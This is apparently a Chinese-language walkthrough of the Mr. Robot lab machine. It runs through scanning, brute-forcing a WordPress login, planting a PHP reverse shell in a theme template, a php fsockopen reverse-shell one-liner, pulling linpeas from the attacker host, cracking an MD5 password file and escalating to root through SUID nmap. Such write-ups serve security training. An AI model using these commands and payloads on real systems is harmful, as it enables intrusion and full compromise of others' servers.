nmap扫描开放端口-->dirb扫描网站目录-->查看robots.txt拿到第一个key,并下载字典文件-->爆破WordPress用户名和密码-->通过WordPress的模板编辑功能获得daemon用户反弹shell-->通过权限设置不当的密码文件获得robot用户的密码,并得到第二个key-->通过nmap提权,并得到第三个key
具体步骤 步骤1:nmap扫描sudo nmap -sS -A -p- 192.168.9.239
扫描到ssh(22端口)是关闭的、http(80端口)和https(443端口)是打开的 ,看样子估计还是从网页突破。
dirb http://192.168.9.239/
扫描结果特别多,就不截图了,总的来说分为5部分:
(1)直接访问ip可以访问到的页面
(2)http://192.168.9.239/0/ 是一个wordpress
(3)http://192.168.9.239/phpmyadmin 从远端没法登录,只能从本地登录
(4)http://192.168.9.239/admin/ 访问就卡在这个页面不停刷新,暂时不知道怎么用
(5)http://192.168.9.239/robots 包含两个文件 fsocity.dic 和 key-1-of-3.txt
访问 http://192.168.9.239/key-1-of-3.txt 得到如下结果:
看来本靶机有3个key,目前已经轻松拿到一个了。
步骤3:下载字典fsocity.dic访问http://192.168.9.239/fsocity.dic发现像是一个字典
把这个字典拷贝下来保存为fsocity.txt,备用
步骤4:爆破WordPress用户名密码在http://192.168.9.239/0/上找到登录界面http://192.168.9.239/wp-login.php,尝试登录发现登录失败提示还挺详细,还提示用户名有误。
这样的话,用户名是可爆破的,因为用户名和密码错误的提示信息不同。
用刚刚保存的密码字典fsocity.txt和burpsuite来爆破用户名。
登录的过程中抓包,send to intruder, 爆破点设置为log的值
payload导入fsocity.txt
爆破结果按长度(Length)排序,字典很大,不用等爆破结束,已经可以看到用户名基本就是elliot大小写变化。
然后把爆破位置换到pwd的值
payload还是用fsocity.txt。爆破半天没爆出来,看了网上的wp发现密码是ER28-0652。
在fsocity.txt里面找了一下,ER28-0652确实是在的,只是在第八十几万个-_-|||
不等了,我把最后二十几个单拎出来,跑了一下,结果按Length排序,确实可以爆出来密码ER28-0652
使用用户名elliot密码ER28-0652登录http://192.168.9.239/wp-login.php
进入到http://192.168.9.239/wp-admin/
依次点击左侧栏的Appearance,Editor,以及右侧栏的404 Template
来到http://192.168.9.239/wp-admin/theme-editor.php?file=404.php&theme=twentyfifteen
攻击机上用nc监听2333端口
nc -lvp 2333
在kali linux的/usr/share/webshells/php/目录下找到php-reverse-shell.php,这是一个php反弹shell。把里面的内容拷贝到上图页面中get_header(); ?>的下方,修改$ip和$port为攻击机监听反弹shell的ip和端口。点击Update File进行保存。
访问一个不存在的页面,比如 http://192.168.9.239/wp-admin/1
攻击机上获得反弹shell
其实这边有一个疑问,用chrome插件Hack-Tools生成的简单php反弹shell是没法成功反弹的
php -r '$sock=fsockopen(getenv("192.168.9.10"),getenv("2333"));exec("/bin/sh -i &3 2>&3");'
后来用上述kali linux自带的php反弹shell得到shell之后,尝试了一下直接在shell中执行上述一句话反弹shell,也是执行不成功的,报错信息如下,但具体原因目前不清楚。
在得到的反弹shell中输入如下命令,得到交互式(好像是半交互式)的shell
python -c 'import pty; pty.spawn("/bin/bash")'
进入目录home/robot,下面有两个文件
key-2-of-3.txt中应该是第二个key,但是只有robot用户可以查看这个文件。
password.raw-md5是所有用户可读的,从文件名猜测是robot用户的md5加密的密码。
cat password.raw-md5
把md5加密的密码拿到MD5免费在线解密破解_MD5在线加密-SOMD5解密
得到robot用户明文密码abcdefghijklmnopqrstuvwxyz
反弹shell中输入
su robot
然后输入密码abcdefghijklmnopqrstuvwxyz,得到robot用户的shell
输入
cat key-2-of-3.txt
得到第二个key
由于robot用户没有自己家目录的write权限,所以先到有write权限的/tmp目录
cd /tmp
攻击机上在存放linpeas.sh的目录下开http服务
python -m SimpleHTTPServer 80
然后靶机shell中输入如下命令,从攻击机上下载linpeas.sh
wget http://192.168.9.10/linpeas.sh
修改linpeas.sh权限,使robot用户可执行
chmod 744 linpeas.sh
运行linpeas.sh
./linpeas.sh
运行结果有提示可用的CVE,但是试了好几个exp,没有一个可用的。
步骤8:通过nmap提权,拿到第三个key仔细看linpeas.sh的结果发现suid结果那边给了一个有95%利用可能性的提示--nmap命令
在网站GTFOBins 搜一下nmap,可以搜到利用方法
即在robot的shell中输入
nmap --interactive
再输入
!sh
如此便可得到root权限。有意思的是,从id命令的结果看,目前的实际用户虽然还是robot,但有效用户已经变成root了。
到/root目录下,可以看到第三个key文件key-3-of-3.txt
成功获得第三个key